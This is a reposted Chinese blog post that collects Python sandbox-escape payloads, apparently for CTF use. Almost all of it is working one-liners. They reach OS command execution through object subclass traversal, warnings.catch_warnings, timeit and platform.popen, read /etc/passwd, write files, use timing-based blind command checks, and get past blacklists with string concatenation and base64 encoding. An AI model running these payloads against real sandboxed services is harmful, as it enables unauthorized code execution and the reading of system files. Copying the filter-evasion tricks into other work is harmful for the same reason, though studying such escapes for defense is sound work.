Facebook Twitter Linkedin YouTube VK Xing

[转]python沙盒逃逸(payload总结)

原地址
http://foreversong.cn/archives/1201

读文件

().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
# <type 'file'>读取文件

写文件

().__class__.__bases__[0].__subclasses__()[40]("123.txt",'w').write('asdfqwer')
# <type 'file'>写文件

命令执行

warnings.catch_warnings

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')
# <class 'warnings.catch_warnings'>  命令执行
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# <class 'warnings.catch_warnings'>  命令执行

timeit

import timeit
timeit.timeit("__import__('os').system('ls'),number=1")

timeit库用来计时,计算函数的完成时间,后面的number表示函数运行的次数

这个就和盲注差不多了,代码执行但是无回显,可以利用相似的payload,比如

timeit.timeit("__import__('os').system('if [ $(whoami|cut -c 1) = y ];then sleep 2;fi;')", number = 1)
2.016458034515381

timeit.timeit("__import__('os').system('if [ $(whoami|cut -c 1) = q ];then sleep 2;fi;')", number = 1)
0.009487152099609375

platform

import platform
platform.popen('ls').read()

或者

import platform
platform.popen('id',mode='r',bufsize=1).read()

基于黑名单

 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
# 使用字符串拼接绕过
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('ls')
# 使用base64编码绕过

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: